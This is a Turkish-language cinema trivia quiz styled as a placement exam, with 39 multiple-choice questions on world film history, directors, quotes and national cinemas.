SYS (Sinema’nın Yerleştirme Sınavı)

- İki aşamadan oluşan sınavın ikinci aşamasıdır.
– Sınav, orta ve ileri zorluk seviyesindeki 300 sorudan oluşmaktadır.
– En az 175′ini cevaplayabilenler yerleştirmeye hak kazanabilir.
– Sınav esnasında herhangi bir dış kaynaktan yardım almak yasaktır.
– Sınavın süresi 1 gündür.
– İstediğiniz sorudan başlayabilirsiniz. Başarılar…

GÜNCELLEME (09. 10. 2013): 301. soru (Joker Soru), 175 barajını geçenlere mahsustur.

1. Film, çok katmanlı bir ekip işidir. Yönetmeninden dağıtımcısına, senaristinden adsız kalabalıklara dek, birbirine bağlı birçok halkanın kusursuz işlemesi sonucu oluşur.
Bu halkada çok özel bir yeri vardır oyuncunun. Seyirciyle direkt yüz yüze gelen odur çünkü. O; bütün tutkuların/düşlerin sınırsızca yaşanabildiği devasa bir evrenle, biz bireylerin küçücük yaşantıları arasındaki köprü gibidir. Sinemanın büyüsü dedikleri de işte tam da budur.
Tabii oyuncunun görevi film bittiğinde sona ermez. Bir görevi daha kalmıştır; o da söz konusu filmin prömiyerine, basın toplantılarına, festivallere katılmak… Michele Morgan buna “Şık elbiseler ve mücevherler içinde, seyyar satıcıya dönmek” der.

Star Sistemi’nin hükmünü büsbütün yitirdiği dönemlerde, oyuncuların da “kusurlu” yaratıklar olduğunu gösteren bir film -özellikle- göze çarpmaktadır: 1950 yapımı ‘All About Eve’nin izinden gider bu film. Seyirciyi perde arkasında yaşanan ihtiraslara/çalkantılı özel yaşamlara götürür. Merkezde, yaşlanmakta olan bir aktris ve “dramı” vardır.

Bahsi geçen John Cassavetes filmi, hangi seçenekte doğru verilmiştir?

a-) A Woman Under the Influence {Etki Altında Bir Kadın – 1974}
b-) Love Streams {Aşk Irmakları – 1984}
c-) Faces {Yüzler – 1968}
d-) Opening Night {Açılış Gecesi – 1977}
e-) The Killing of a Chinese Bookie {Çinli Bahisçinin Ölümü – 1976}

2. “Gökten nazire indi siham-ı kazasına,
Nefi diliyle uğradı hakkın belasına.”

Aşağıda, Nefi’ye benzeyen kahraman ya da özgürlük savaşçılarının olduğu 4 film sıralanmıştır. Doğrunun peşine düşmüşler, bildikleri yoldan dönmemişlerdir. “Bedel ödeyenler” de vardır aralarında. Kurcalanmaması gereken işleri fazla kurcalamanın bedelini…
Dışarıda kalmaya en yakın film hangisidir?

a-) Jean de Florette {1986} / Claude Berri
b-) La passion de Jeanne d’Arc (1928) / Carl Theodor Dreyer
c-) Z {Ölümsüz – 1969} / Costa-Gavras
d-) I… comme Icare {İkarus’un İ’si – 1979} / Henri Verneuil
e-) I compagni {1963} / Mario Monicelli

3.
The Last Wave (1977) / Peter Weir
Karhozat (1988) / Bela Tarr
Sevmek Zamanı (1965) / Metin Erksan
Regen (1929) / Joris Ivens
Breakfast at Tiffany’s (1961) / Blake Edwards
Ugetsu monogatari (1953) / Kenji Mizoguchi
Fa yeung nin wa (Aşk Zamanı – 2000) / Wong Kar-wai

… sahneleriyle hatırlanabilecek 7 filmdir. Boş bırakılan yere aşağıdakilerden hangisi gelmelidir?

a-) Yağmur
b-) Karanlık sokak
c-) Orman
d-) Otel odası
e-) Göl

4. ‘Jamaica Inn’ (1939), Alfred Hitchcock’un İngiltere dönemlerini kapatan filmidir. Gemi korsanlarının yuvalandığı bir otel, ihanet, gerilim, çürümüş devlet erkânı… İngiltere’nin soğuğu, dalgaları ve pusu, izleyiciyi de ürpertir.

Aşağıda, Jamaica Inn filmine dair verilen bilgilerden hangisi yanlıştır?

a-) Charles Laughton, şebekenin içine sızan acar dedektif tiplemesiyle hafızalara kazınmıştır.
b-) Karizmatik bir kötü adam barındırır.
c-) İki taze sevgiliye, salt aşklarına ayıracakları zamanlar pek yaratılmamıştır.
d-) Filmde sürprizlere yer verilmemiştir; perde arkasındaki büyük şefin kim olduğunu çabuk öğreniriz.
e-) Güçlü, mücadeleci bir kadın başkarakter barındırır.

5. Duvarın yıkılmasıyla üzerlerinden kamyon geçen iki Doğu Bloğu kadını, “Emma” (tatlı) ve “Böbe” (sevgili), hangi yönetmenin yarattığı kanlı canlı ve unutulmaz karakterlerdir?

a-) Zoltan Fabri b-) Krzysztof Zanussi c-) Istvan Szabo d-) Jan Sverak e-) Elem Klimov

6.
- … filmleri, aynı zamanda birer renk cümbüşüdür. Özellikle o ayakkabıları unutmak mümkün mü!
- … kimi filmleri, gemi azıya almış derecede cüretkar sahneler içerir.
- … yol sinemasına, yolculuğa özel bir ilgisi vardır.
- … ülkesinin güneyinden beslenen töre/evlilik komedileriyle de bilinir.
- … erken dönemlerinde, ülkesindeki sol hareketin ve gençliğin durumunu masaya yatıran filmlere imza atmıştır. ‘Prima della rivoluzione’ (1964 – Devrimden Önce), bu filmlerin en bilindik örneklerindendir.

Yukarıda, 4 ayrı yönetmene dair bilgiler verilmiştir. Ancak bir tanesine dair 2 bilgi verilmiştir. Bu yönetmen kimdir?

a-) Pietro Germi b-) Wim Wenders c-) Bernardo Bertolucci d-) Maurice Pialat e-) Michael Powell & Emeric Pressburger

7. Yeni bir dönemi kucaklarken, eskiye de büsbütün sırt çevirmemek vefadandır. Bu anlamda “sesli sinema” için ‘sessiz sinemanın mezar kazıcısı’ denebilir. Ses, yıkıcı bir etki yaratmıştır. Pek çok sessiz dönemler sinemacısı (oyuncu, yönetmen) yeni döneme hazırlıksız yakalanmış; ayak uyduramamıştır. Bunların “seslerine güvenemeyen” bir kısmı sektörden elini ayağını çekip başka alanlara yönelirken, bir kısmıysa Don Kişot misali sesli döneme direnen filmler yapmaya devam etmişlerdir.
Tabii “ses”in getirdiği mali külfetin de bu manzaradaki etkisini unutmamak lazım.

Aşağıda sıralanan isimlerden hangisi, bu yeni döneme “daha çabuk” ayak uydurmuştur?

a-) Laurel & Hardy
b-) Charles Chaplin
c-) Lillian Gish
d-) Vsevolod Pudovkin
e-) Yasujiro Ozu

8.
- After Life {1998 – Hirokazu Koreeda}
- Heaven Can Wait {1943 – Ernst Lubitsch}
- A Matter of Life and Death {1946 – Michael Powell & Emeric Pressburger}

Cennet, cehennem ve araf üçgeni dendiğinde akla gelecek fantastik çalışmalar arasındadır. 98 yapımı olanı, bürokrasinin “öteki taraf”ta da yakayı bırakmadığını resmediyordu. (Sartre’nin “İş İşten Geçti”si gibi.)

Ahiret yaşamı, ……. filminde yine fantastik bir öyküye katık edilir. Bir adam (aristokrat) ve bir kadın (şarkıcı, hayat kadını), dünyada buluşmaktan ümidi kesince intihar etmeye ve ahirette kavuşmaya karar verirler. Fakat bir sorun vardır; taraflardan biri son anda intihardan vazgeçmiştir. Ahirette yüzüstü bırakılan öteki, cehennem ve dünya arasına sıkışır. 50 yıl sonrasının “çok değişen” dünyasına iner ve sözünü tutmayan o sevgiliyi aramaya koyulur.

Boş bırakılan yere hangi Uzakdoğu filmi gelmelidir?

a-) Yin ji kau (Rouge – 1988) / Stanley Kwan
b-) Ruan Lingyu (1992} / Stanley Kwan
c-) Huang tu di (Yellow Earth – 1985) / Kaige Chen
d-) Yangguang Canlan de Rizi (1994) / Wen Jiang
e-) Yi yi {Bir İki – 2000} Edward Yang

9. Robert Bresson’un 1969 yapımı ‘Une femme douce’si, bir edebiyat uyarlamasıdır. (I) “La Nuit Américaine“, bir sinema hilesidir. (II) Patrice Leconte’nin 89 yapımı ‘Monsieur Hire‘si, röntgencilik ve saplantılı aşk etrafında gelişir. (III) Ermanno Olmi, 1978 yapımı ‘L’albero degli zoccoli‘ -Nalın Ağacı- ile kamerasını bu kez metropol yaşamının açmazlarına doğrultmuştur. (IV) Robert Altman sineması, 90′lı yıllarda karakter cümbüşü ile öne çıkmıştır. (V)

Üstteki ifadelerin hangisi ya da hangileri doğru değildir?

a-) I ve II b-) Sadece III c-) Sadece IV d-) III ve IV e-) I ve V

10. Sergei M. Eisenstein’in, ‘Stackha’ {Grev – 1925} filminin katliam kısımlarında ustaca kullandığı; sinema severlerin en çok Alfred Hitchcock filmlerinden aşina olduğu kurgu türü aşağıdakilerden hangisidir?

a-) Lineer Kurgu
b-) Sıçramalı Kurgu
c-) Ters Kurgu
d-) Şaşırtmalı Kurgu
e-) Paralel Kurgu

11. 90′lar İran Sineması’nın en belirgin yanlarından biri de, kurmaca ve gerçeğin birbirine dolandığı anlatım biçimidir. Bazen, film içinde başka bir filmin çekim öyküsünü izler; başka filmlere yapılan göndermelere tanık oluruz. Dördüncü duvar da nasibini alır durumdan. Öyle ki kameraya dönüp “artık oynamak istemiyorum” diyen karakterler görülür.

Aşağıdaki filmlerin hangisinde bu ve benzeri bir durum gözlemlenmez?

a-) Badkonake sefid {Beyaz Balon – 1995} / Jafar Panahi
b-) Ayneh {Ayna – 1997} / Jafar Panahi
c-) Nema-ye Nazdik {Yakın Plan – 1990} / Abbas Kiarostami
d-) Zire darakhatan zeyton {Zeytin Ağaçları Altında – 1994} / Abbas Kiarostami
e-) Nun van Goldoon {Ekmek ve Çiçek – 1996} / Mohsen Makhmalbaf

12.
Sabah: —^—^—^^^^^^
Öğle.: —-^^^^^^^^^^^^^
Akşam: ^–^–^–^–^^^^

Üstteki grafik, bir korku severin kalp ritim diyagramlarıdır. Gün içinde üç korku filmi izlemiştir. Eski korkuları (‘The Haunting’, ‘The House of Usher’, ‘Carnival of Souls’, ‘The Innocents’, ‘Dead of Night’, ‘I Walked with a Zombie’ gibi…) temposuz bulduğu için, daha modern dönemlerden filmler tercih etmiştir.
İzleyici; kan, cinayet ve kaçma-kovalamaca sahnelerinde heyecanlamıştır. Filmin tansiyonun arttığı anlarda, kalbi de hızlı atmıştır. Kabaca verilen grafikte, dalgalı olan yerler, kalbin hızlı attığı anlara karşılık gelmektedir.

Bu izleyici “sırasıyla” hangi şıkta verilen filmleri izlemiş olabilir?

a-) Suspiria (1976) – The Shining (1980) – Evil Dead (1981)
b-) Suspiria (1976) – Evil Dead (1981) – The Shining (1980)
c-) Evil Dead (1981) – Suspiria (1976) – The Shining (1980)
d-) The Shining (1980)  – Evil Dead (1981) – Suspiria (1976)
e-) The Shining (1980)  – Suspiria (1976) – Evil Dead (1981)

13. – Toplumcu Polonya destanınızın kahramanı olan bu genç; içten, coşkulu bir işçi. En kötü döneminde ortaklaşmacı yönetim biçimine inanan, düzmece bir yargılamayla zindana atılan, inandığı ülkünün kurbanı olan bu tersane işçisi hakkında ne düşünüyorsunuz?

Yukarıdaki soru, gerçek bir röportajdan alınmıştır. Bu soru, hangi yönetmene – hangi filmiyle alakalı yöneltilmiş olabilir?

a-) Krzysztof Zanussi — Rok spokojnego slonca {1984 – Sakin Güneş Yılı}
b-) Andrzej Wajda — Ziemia obiecana  {1975 -  Vaatler Ülkesi}
c-) Krzysztof Zanussi — Barwy ochronne {1977 – Kamuflaj}
d-) Andrzej Wajda — Czlowiek z marmuru {1977 – Mermer Adam}
e-) Krzysztof Zanussi — Iluminacja {Aydınlanma – 1973}

14. “Bu sahne hangi filmden” konulu ödüllü bir yarışmaya katılan Derya, son soruda hakkının yendiğini iddia etmektedir. Resimdeki iri tarantula, ……. filmine ait çıkmıştır. Oysa Derya’ya göre soru muğlaktır. Zira seçenekler arasında ‘Spider Baby or, The Maddest Story Ever Told’ (1968) filmi de bulunmaktadır. Derya, doğru cevap olarak Spider Baby’i işaretlemiş ama kaybetmiştir. “Karedeki örümceğin aynısından benim işaretlediğim filmde de var. Bu haksızlık!” diye söylenmektedir.

Derya’nın çeldiriciye düşerek kaçırdığı doğru cevap, aşağıdakilerden hangisidir?

a-) De vierde man {Dördüncü Adam – 1983) / Paul Verhoeven
b-) House of Games {Oyun Evi – 1987} / David Mamet
c-) Tras el cristal {Cam Kafes – 1987} / Agustí Villaronga
d-) The Incredible Shrinking Man {Kendi Kendine Küçülen Adam – 1957} / Jack Arnold
e-) Deliverance {Kurtuluş – 1972} / John Boorman

15. “Bu kadarına da pes be kardeşim! Güzelim ‘Operadaki Hayalet‘i ne hale getirmişler. Şarkıcıyı erkek yapmak da neyin nesi…”

diye söylenen bir adam, hangi filmi izlemiş olabilir?

a-) Dao ma zei {The Horse Thief – 1988} / Zhuangzhuang Tian & Peicheng Pan
b-) Arigato-san (1936) / Hiroshi Shimizu
c-) Ba wang bie ji {Elveda Cariyem – 1993} / Kaige Chen
d-) Ye ban ge sheng (1937) / Weibang Ma-Xu
e-) Tale of Tales {Masalların Masalı – 1980} / Yuriy Norshteyn

16. Seconds, Seven Days in May, Alcatraz Kuşçusu ve The Train gibi önemli klasiklerin yönetmeniydi John Frankenheimer. Frank Sinatralı ‘The Manchurian Candidate’ {Mançuryalı Aday – 1962}, onun başyapıtlarından biridir desek herhalde abartmayız.

The Manchurian Candidate filmine dair aşağıda verilen bilgilerden hangisi yanlıştır?

a-) Şok edici, afallatıcı bir final sahnesi barındırır.
b-) Filmde, kabuslar gören savaş sendromlu gaziler vardır. Savaş ise Kore Savaşı’dır.
c-) Dönemin politik hezeyanları (McCarthycilik) üzerine önemli bir belgedir.
d-) Oğlunun (Laurence Harvey) üzerinde hakimiyet kurmak isteyen oldukça saplantılı bir baba figürü görülür.
e-) Mao Zedung posterli ilk bölümlerde, beyin yıkama faaliyetlerine tanıklık ederiz.

17. Bergman’ın fetiş oyuncusu Liv Ullmann, 1992′de ‘Sofie’ ile geliyordu. Danny DeVito’nun yönettiği ve bir sendika liderinin gizemini aralayan ‘Hoffa’ da yine aynı yıl hayatımıza giriyordu.

Aşağıdakilerden hangisi, sinemaya oyunculukla başlayıp sonrasında yönetmenlik de yapan isimlerden değildir?

a-) Jodie Foster b-) Jack Nicholson c-) Marlon Brando d-) Henry Fonda e-) Sean Penn

18.Vatan Haini!
Tabloid bir gazetenin başyazarı, köşesine bu başlığı uygun görmüştür. Tanınmış bir zatı, ülkesine ihanet etmekle; ülkesini dış mihraklara satmakla itham etmiştir. Son paragrafta ise IRA merkezli bir filmden örnek vermiş; suçladığı kişiyi, o filmdeki kahramana benzetmiştir.

Köşe yazarının örnek gösterdiği film aşağıdakilerden hangisidir?

a-) Dodsworth (1936) /  William Wyler
b-) Blackmail (1929) / Alfred Hitchcock
c-) The Best Years of Our Lives (1946) / William Wyler
d-) The Informer (1935) / John Ford
e-) Queen Kelly (1929) / Erich von Stroheim

19.  Hollywood, Amerika’nın vicdanıdır!
Varlığı, “başkalarını” sömürmek, zorla topraklarını işgal etmek, yakıp yıkmak üzerine kurulu olan Amerika; dev sektörü Hollywood ile yaptıklarını temize çekebiliyor. Ancak bazen bu “vicdan” kanadının çalıştığı da oluyor tabi. Güdük de olsa ülkesinin tavrını eleştiren yapımlar (Vietnam filmleri, Michael Moore belgeselleri vb.); sosyal sorumluluk elçiliğine soyunan ve üçüncü dünyaya yardımlarda bulunan oyuncular, aslında bu kanadın yansımaları.

Aynı vicdan, MacCarthy dönemlerinin “sabıkalı” ismi Elia Kazan’da ve Nazilerin sinemacısı Leni Riefenstahl’da hangi filmler şeklinde tezahür etmiştir?

a-) America, America (1963) — Tiefland (1954)
b-) A Streetcar Named Desire (1951) — Das blaue Licht (1932)
c-) On the Waterfront (1954) — Tiefland (1954)
d-) A Face in the Crowd (1957) — Das blaue Licht (1932)
e-) East of Eden (1955) — Triumph des Willens (1935)

20.
- Siyah adam ve onun savunuculuğunu üstlenen beyaz adam.
- Çek kukla/animasyoncu Jan Svankmajer’den sıradışı bir Alice Harikalar Diyarında uyarlaması.
- Leon’un yönetmeninin imza attığı, masmavi bir çalışma.
- İki kadın arasında kalmış evli adamın merkezde olduğu, muzip bir aile öyküsü.

Hangi filmin bahsi edilmemiştir?

a-) Mediterraneo {Akdeniz – 1991}
b-) Osenniy marafon (1979)
c-) Neco z alenky (1988)
d-) To Kill a Mockingbird {Bülbülü Öldürmek – 1962}
e-) Le grand bleu {Derinlik Sarhoşluğu – 1988}

21. Sinema tarihinde baştan sona diyalog ya da monolog üzerine kurulu filmler vardır. Derek Jarman’ın 93 yapımı ‘Blue’si gibi. Mavi bir ekrandan başka görüntü yoktur ve 90 dakika süresince Jarman’ı dinleriz. Çılgın İngiliz yönetmen, AİDS’e yakalanmıştır ve HIV virüsü ile kurduğu ilişkiden söz etmektedir.
Bunun tam tersi, hiçbir konuşma barındırmayan filmler de vardır. Diyaloğun yerini görüntüler, müzik ya da boğucu arka plan sesleri almıştır. Aşağıdakilerden hangisi bu diyalogsuz filmlere örnek gösterilemez?

a-) Dreams {Düşler – 1990} / Akira Kurosawa
b-) War Requiem {Savaşa Ağıt – 1989} / Derek Jarman
c-) Begotten (1990) / Edmund Elias Merhige
d-) Wavelenght {Dalga Boyu – 1967} / Michael Snow
e-) Brand Upon the Brain! A Remembrance in 12 Chapters {Beyne Vurulan Damga – 2006} / Guy Maddin

22.Her zamanki suçluları toplayın.“, hangi filmin -filmle özdeşleşmiş- repliğidir?

a-) Casablanca (1942) / Michael Curtiz
b-) The Maltese Falcon {Malta Şahini – 1941} / John Huston
c-) Scarface {Yaralı Yüz – 1932} / Howard Hawks
d-) The Third Man {Üçüncü Adam – 1949} / Carol Reed
e-) Angels With Dirty Faces {Kirli Yüzlü Melekler – 1938} / Michael Curtiz

23.
I) Trende bir aktör. (Nayak)
II) Yasak bir aşk ve bahçedeki salıncak. (Charulata)
III) Düşmüş bir “efendi” ve odası. (Aranyer Din Ratri)
IV) İşsizlik ve barut fıçısı Kalküta gençliği. (Pratidwandi)
V) Ormanda aylaklık ve dört kafadar. (Jalsaghar)

Üstat Satyajit Ray’ın 5 adet filmi, birer cümleyle tanımlanmıştır. Ancak iki seçenekte hata vardır. Parantez içindeki filmler birbiriyle yer değiştirdiğinde, hata da giderilmiş olacaktır. Bu hatalı seçenekler hangileridir?

a-) I ve IV
b-) II ve V
c-) III ve IV
d-) III ve V
e-) I ve III

24.
__________

Yukarıda, bir filmin standart süresini 90 dakika olarak kabul eden bir eğri görülmektedir. Filmin süresi arttıkça, üstteki eğri de o nispette uzayacaktır. Bunlara dayanarak, aşağıdaki grafiğin -kabaca- hangi yönetmenin filmografisini temsil ettiği söylenebilir?

______________________
_________________________
_______________________________________
______________________________________________________________________________
____________________________________
_______________________
vb.

a-) Roger Vadim
b-) Claude Lelouch
c-) Jean-Luc Godard
d-) Diane Kurys
e-) Jacques Rivette

25.

Yukarıdaki sahne hangi Robert Bresson filmine aittir?

a-) Journal d’un curé de campagne (Bir Taşra Papazının Güncesi – 1951)
b-) Au hasard Balthazar (Rastgele Balthazar – 1966)
c-) Les dames du Bois de Boulogne (Bologna Ormanı Kadınları – 1945)
d-) Mouchette (1967)
e-) Un condamné à mort s’est échappé ou Le vent souffle où il veut (Bir İdam Mahkumu Kaçtı – 1956)

26. Zoltan Fabri’nin, kırsala uzandığı ve aile baskısı-aşk-para kıskacına hapsolmuş masum bir genç kızın dramını odağa aldığı unutulmaz film aşağıdakilerden hangisidir?

a-) Az ötödik pecsét {Beşinci Mühür – 1976}
b-) Körhinta {Atlı Karınca – 1956}
c-) Magyarok {Macarlar – 1978}
d-) Requiem {Ağıt – 1982}
e-) A Pál utcai fiúk {Pal Sokağı Çocukları – 1969}

27. “Eskinin nitelikli komedilerini arar olduk. Kimileri bunu Marx Kardeşler, Buster Keaton, Charles Chaplin, az daha geriye gidersek ustaları …… gibi komedyenlerin olmamasına bağlıyor. Bilemiyoruz, ancak 7. sanatın her yönüyle bir kabızlık yaşadığına şüphe yok. Baksanıza, Fritz Lang’ın mahkeme temalı ünlü noiri …… bile re-make yaptı. Adına mainstream denen ana akım filmler, sektöre iyiden iyiye hakim durumda. Anarşist sinemacı Jean Vigo’nun dediği gibi ‘Hal ve Gidiş Sıfır’.
Öte yandan; modern dünya, ruh sağlığımızı tehdit eder hale geldi. Georges Franju’nun ‘La tête contre les murs (Duvarlara Vurulan Baş) filmini hatırlayın; ona güvenen tek insan için hastaneden firar eden adam, sonrasında kızı yüzüstü bırakıyordu. Onun türevleri o denli fazla ki artık! İnsanların birbirine güveni ve sevgisi pek az kaldı. Aynı apartmanın içindekiler bile birbirini tanımıyor. Tsai Ming-liang’ın ……. filmindeki üst-alt komşular gibi. Evet, giderek yalnızlaşıyoruz. Öte yandan uyuşturucuya ve alkole başlama yaşı da ilkokul seviyelerine indi. Şu an önümde …… filmlerinde gördüğümüz o küp gibi içen karakterlerden birinin neden olduğu korkunç bir 3. sayfa haberi duruyor.”

Paragrafta boş bırakılan yerlere aşağıdakilerden hangisi getirilemez?

a-) He liu
b-) Dong
c-) Max Linder
d-) Aki Kaurismaki
e-) Beyond a Reasonable Doubt

28. En favori 10 filminin yarısı;
- Vredens Dag (1943, Dreyer)
- Witchfinder General (1968, Reeves)
- Viy (1967, Kropachyov)
- Suspiria (1976, Argento)
- The Devils (1971, Russell)

yapımlarından oluşan birine, hangi sessiz dönemler klasiğinin önerilmesi “en” uygun olacaktır?

a-) Spione (1928) / Fritz Lang
b-) Die nibelungen I – II (1924) / Fritz Lang
c-) The Thief of Bagdad (1924) / Raoul Walsh
d-) Haxan (1922) / Benjamin Christensen
e-) The Son of the Sheik (1926) / George Fitzmaurice

29. Hıncahınç dolu bir stadyuma hitaben konuşma yapmak mecburiyetindeki Abdi, sosyal fobisi olduğu için başaramama endişesi taşımaktadır.

Bu fobisini yenmesi için filmlerden derlenmiş bir video-terapi yapılır. Seçilecek hangi filmde, Abdi’nin korktuğu görevin “aynısının” birilerince gayet rahat bir şekilde ifa edildiği duygusal anlar görülecektir?

a-) Big Fish {Büyük Balık – 2003} / Tim Burton
b-) My Childhood {Çocukluğum – 1972} / Bill Douglas
c-) The Pride of the Yankees {Yankilerin Gururu – 1942} / Sam Wood
d-) Mädchen in Uniform {Üniformalı Genç Kızlar – 1931} / Leontine Sagan
e-) Két félidö a pokolban {Cehennemde İki Devre – 1963} / Zoltan Fabri

30. Ritwik Ghatak, Hint Sineması içerisinde bir alt tür oluşturan ‘Bengal Sineması’nın en önemli isimlerinden biridir (Satyajit Ray, Bimal Roy, Mrinal Sen gibi… Guru Dutt ise Raj Kapoor’a yani Bollywood kanadına yakın durmuştur.) Filmlerinde, sığınmacıların sorunlarını işler Ghatak. Yanı sıra… Mrinal Sen’in ‘Bhuvan Shome’ {Bay Şome} ve ‘Kalküta Üçlemesi’nde yaptığı üzre, ajitatif yönü baskın işlere de imza atmıştır.

Çalışarak göçmen ailesini geçindiren fedakar bir kadının merkezde olduğu hangi Ritwik Ghatak filmi, yönetmenin yanı sıra Hint Sineması’nın da başyapıtlarından biri kabul edilmektedir?

a-) Pyaasa (1957)
b-) Meghe Dhaka Tara (1960)
c-) Subarnarekha (1965)
d-) Kaagaz Ke Phool (1959)
e-) Mother India (1957)

31. x + Kenji Mizoguchi imzalı bir samuray filminin İngilizce isminde bulunan sayı = Bir iskambil destesi adedi ise;
x`in aldığı değer aşağıdakilerden hangisidir?

a-) 16 b-) 5 c-) 29 d-) 12 e-) 8

32. Tek eğlencenin televizyon olduğu dönemlerdeki çocukların sabrı, elektrik kesintileri ile imtihana tabiydi. Bu kesintiler hayatın bir parçası haline gelince, çocuklar yeni eğlenceler yaratmıştı. Elleriyle duvarda kuş, köpek gölgeleri oluşturmak gibi…

“Baba”lı ve “Tatlı Onaltılık”lı hangi filmdeki bir kahramanın yolu da aynı eğlenceden geçmişti?

a-) Ali Zaoua, prince de la rue (2000) / Nabil Ayouch
b-) Pixote (1981) / Hector Babenco
c-) Davandeh {Koşucu – 1985} / Amir Naderi
d-) Dom za vesanje {Çingeneler Zamanı – 1988} / Emir Kusturica
e-) Salaam Bombay {Selam Bombay – 1988} / Mira Nair

33.
* Fransızların öncü yönetmenlerinden biridir. Şairane Gerçekçiliğin ona dayandığını iddia edenler bile vardır.
* Gerçeküstücülere yakın duran bir stili vardır.
* Flu çekimler, ışık/gölge oyunları ve biçimsiz şekiller görülür kimi filmlerinde.
* Filmlerinde aile içi karışık ilişkiler de gözlemlenebilir.
* ‘L’argent‘ (1928), ‘L’inhumaine‘ (1924) ve ‘La nuit fantastique‘ (1942), onun alamet-i farikası olan üçlüdür. L’argent, finans-sinema ilişkisi dendiğinde bugün bile akla ilk gelen filmler arasındadır.

Bahsi edilen yönetmen kimdir?

a-) Jean Gremillon
b-) Jean Epstein
c-) Jacques Feyder
d-) Marcel L’Herbier
e-) Julien Duvivier

34. Ford’un ‘The Grapes of Wrath‘ı, Vidor’un ‘Our Daily Bread‘ı, Murnau’nun ‘City Girl‘ü, Renoir’in ABD dönemlerinde çektiği ‘The Southerner‘i vb… Amerikan Sineması’nda kırsal sektör ve çiftçi yaşamları mükerrer defa işlenmiştir. Ancak çiftçi olan ana kahramanı “Çinli” yapmak, pek de alışıldık bir durum değildir.

Bu alışılmadık durum aşağıdakilerden hangisidir?

a-) Tabu: A Story of the South Seas (1931) / F.W. Murnau
b-) Dark Command (1940) / Raqul Walsh
c-) Tobacco Road (1941) / John Ford
d-) How Green Was My Valley (1941) / John Ford
e-) The Good Earth (1937) / Sidney Franklin

35.
I-) Les carabiniers (1963) / Jean-Luc Godard
II-) Letyat zhuravli (1957) / Mikhail Kalatozov
III-) Hotaru no haka (1989) / Isao Takahata}
IV-) La grande guerra (1959) / Mario Monicelli
V-) Johnny Got His Gun (1971) / Dalton Trumbo
VI-) The Men (1950) / Fred Zinnemann
VII-) Ballada o soldate (Askerin Türküsü – 1959) / Grigori Chukhrai
VIII-) Die Brücke (Köprü – 1959) / Bernhard Wicki
IX-) Jeux interdits (Yasak Oyunlar / 1952) / Rene Clement
X-) Ivanovo detstvo (İvan’ın Çocukluğu – 1972) / Andrei Tarkovsky
XI-) Ningen no jôken (1961) / Masaki Kobayashi
XII-) Skammen (Utanç – 1968) / Ingmar Bergman
XIII-) Démanty noci (1964) / Jan Nemec

Yukarıdaki filmlerin ortak özelliği ne olabilir?

a-) Göçmenliği ve neden olduğu travmayı anlatırlar.
b-) Orta yaş krizi etrafında dönerler.
c-) Savaşı ve neden olduğu travmayı anlatırlar.
d-) Hastalığı ve kişide uyandırdığı psikolojiyi anlatırlar.
e-) Yakınlarımızı kaybetmeyi ve neden olduğu travmayı anlatırlar.

36. Bir tren kompartımanında seyahat eden Ali ve Ahmet, iki seksist erkektir. Neil LaBute’nin 1997 yapımı ‘In the Company of Men’indeki o iki erkek gibi kadınlarla oynamayı severler. Biraz ötede tek oturan şuh bir kadını gözlerine kestirmişlerdir. Fiskos ederlerken mevzu sinemaya gelir. Ahmet, Haneke’nin ‘Bilinmeyen Kod’undaki Juliette Binoche örneğini verir. Ali, “Dur bakalım’” diyerek araya girer. “O biraz soğuk değil miydi. Ben daha uygun bir örnek biliyorum. …… yı izledin mi? Oradaki esmer güzeli burjuva kadın da trende tek başınaydı ve nispeten daha davetkar duruyordu.”

Atom Egoyan’ın aşağıdaki filmlerinden hangisi, aklı daha çok bel altına çalışan Ali’nin “izledin mi?” diye sorduğu filmdir?

a-) Calendar (1993)
b-) The Sweet Hereafter (1997)
c-) The Adjuster (1991)
d-) Exotica (1994)
e-) Ararat (2002)

37. (…) Aynı tren kompartımanında kaçak yani biletsiz bir kız da seyahat etmektedir. Adı Sema olan bu genç kızın aklına uçuk bir fikir gelir: Yaşını küçük gösterip (11-12 gibi) biletten muaf olmak. Kondüktör biletleri kontrole çıkarken, kızımız da planını nasıl harekete geçireceğini düşünmektedir.

Sema’nın bunu bir filmde gördüğünü varsayarsak, hangi seçenekteki yapım ona bu ilhamı vermiştir?

a-) Sophie’s Choice (1982) / Alan J. Pakula
b-) The General (1927) / Buster Keaton
c-) Le train (1973) / Pierre Granier-Deferre
d-) The Major and the Minor (1942) / Billy Wilder
e-) Un soir, un train (1968) / André Delvaux

38. Bir dönemin tarihi filmleri, artık yok. Gerçeği, kurgunun süzgecinden geçirerek seyirciye sunan o filmler, büyük tarihi olayları ve tarihi kişilikleri ustaca yansıtmışlardı. D.W. Griffith …… filminde, fetiş oyuncuları Gish kardeşler ile çalışmış; bizleri Fransız İhtilali dönemine götürmüştü. Abel Gance’nin epik başyapıtı ……, kahramanını anlatırken çeşitli biçimsel numaralara (üç parçaya bölünen ekran gibi.) başvurmaktan da geri kalmayacaktı. Alexander Korda’nın …… filmini de unutmamak gerekir elbette.
Katı olan her şeyin buharlaştığı günümüzde, tarihi filmler de saflığını yitirmiş durumda. Artık büyük olaylar ve “saf” tarihi kişilikler pek az ilgi çekiyor. Rağbet başka yerlerde. Tarihi filmler, adeta belgesel ya da militan bir anlayışa evrilmiş durumda.

Boş bırakılan yerler, “sırasıyla” ne şekilde doldurulmalıdır?

a-) The Private Life of Henry VIII – Napoleon – Orphans of the Storm
b-) Orphans of the Storm – The Private Life of Henry VIII – Napoleon
c-) Napoleon – The Private Life of Henry VIII – Orphans of the Storm
d-) Orphans of the Storm – Napoleon – The Private Life of Henry VIII
e-) Napoleon – Orphans of the Storm – The Private Life of Henry VIII

39.
- “Her ölüm erken ölümdür ama bu çok çok erkendi be üstat!” dedirten, şair bir yönetmen.
- İspanya’daki Franco faşizmi ile mücadele eden, ülke içinde bir militan.
- “İzlediğiniz filmde boşuna senaryo aramayın, bu filmin senaryosu yok.” diyen bir yönetmen.
- Kimi kasvet yüklü filmleriyle, Doğu Bloğu’ndaki bürokrasi mekanizmasına dokundurmalar yapan bir yönetmen.

Yukarıda 4 yönetmene dair bilgi verilmiştir. Bilgi verilmeyen yönetmen kimdir?

a-) Luis Bunuel
b-) Krzysztof Kieslowski
c-) Carlos Saura
d-) Dziga Vertov
e-) Jean Vigo

